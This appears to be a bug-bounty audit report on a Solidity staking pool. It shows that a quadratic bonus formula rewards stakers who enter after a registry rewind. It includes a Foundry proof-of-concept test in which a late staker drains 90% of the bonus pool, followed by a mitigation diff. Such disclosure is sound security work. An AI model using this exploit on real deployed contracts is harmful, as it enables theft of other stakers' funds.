FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: high

Quadratic Bonus Math (Parabola) Rewards Ultra-Late Stakers After a Registry Rewind

Author Revealed upon completion

Description

  • The Confidence Pool distributes bonus rewards using a k=2 time-weighted formula (T - entryTime)^2, which is intentionally designed to "crush" late entrants by yielding a near-zero score as the entry time approaches the terminal timestamp T (riskWindowEnd).

  • However, because a parabola curves upwards in both directions, if a benign upstream registry rewind occurs (e.g., from PRODUCTION back to UNDER_ATTACK), the terminal timestamp T is permanently latched while staking re-opens, allowing an attacker to deposit with an entryTime strictly greater than T, resulting in a massive, mathematically-inverted score inflation instead of a penalty.

function _bonusShare(uint256 u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = riskWindowEnd;
...
// @> T is permanently latched, but userSumStakeTime/userSumStakeTimeSq can continue growing if staking reopens
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
// @> This ternary guard fails to protect against entryTime > T because (T^2 + entry^2) is always > (2*T*entry)
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;

Risk

Likelihood:

  • The upstream IAttackRegistry state machine transitions from a terminal state (like PRODUCTION) back to an active-risk state (like UNDER_ATTACK) due to a DAO correction, appeal, or delay.

  • The DESIGN.md explicitly anticipates and designs around "a benign upstream state rewind", validating this as an expected protocol environment state.

Impact:

  • Any staker who deposits after the rewind receives a massive exponential score that dilutes all earlier, legitimate stakers.

  • An attacker can permissionlessly siphon nearly 100% of the entire bonus pool, causing a massive loss of funds for early risk-takers.

Proof of Concept

A legitimate staker deposits 100 * ONE. The registry resolves, latching riskWindowEnd (T). A benign rewind occurs, re-opening staking. The attacker stakes 100 * ONE. Because entryTime > T, their time distance grows positively. At expiration, the attacker walks away with 90% of the bonus pool, leaving the legitimate staker with only 10%.

function testLateStakerGetsHugeBonusAfterRewind() external {
_stake(alice, 100e18);
address sponsor = makeAddr("sponsor");
token.mint(sponsor, 1000e18);
vm.startPrank(sponsor);
token.approve(address(pool), 1000e18);
pool.contributeBonus(1000e18);
vm.stopPrank();
// Registry reports PRODUCTION; T latched
vm.warp(BASE_TIMESTAMP + 100);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
// Registry rewinds to UNDER_ATTACK
vm.warp(BASE_TIMESTAMP + 150);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
// Attacker stakes late (entryTime > T)
vm.warp(BASE_TIMESTAMP + 250);
_stake(bob, 100e18);
// Registry returns to PRODUCTION; Pool expires
vm.warp(BASE_TIMESTAMP + 300);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.warp(pool.expiry());
pool.claimExpired();
vm.prank(alice);
pool.claimSurvived();
vm.prank(bob);
pool.claimSurvived();
// Alice (early) gets 10%, Bob (late attacker) gets 90%
assertEq(token.balanceOf(alice) - 100e18, 100e18);
assertEq(token.balanceOf(bob) - 100e18, 900e18);
}

Recommended Mitigation

Clamp user metrics to T during score calculation. This ensures any stake deposited after riskWindowEnd automatically yields a penalty score of 0, maintaining the k=2 mathematical invariant.

function _bonusShare(uint256 u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = riskWindowEnd;
if (T == 0) revert PoolNotResolved();
+ uint256 clampedSumStakeTime = userSumStakeTime[u];
+ uint256 clampedSumStakeTimeSq = userSumStakeTimeSq[u];
+ if (clampedSumStakeTime > T * userEligible) {
+ clampedSumStakeTime = T * userEligible;
+ clampedSumStakeTimeSq = T * T * userEligible;
+ }
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 userMinus = 2 * T * userSumStakeTime[u];
+ uint256 userPlus = T * T * userEligible + clampedSumStakeTimeSq;
+ uint256 userMinus = 2 * T * clampedSumStakeTime;
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!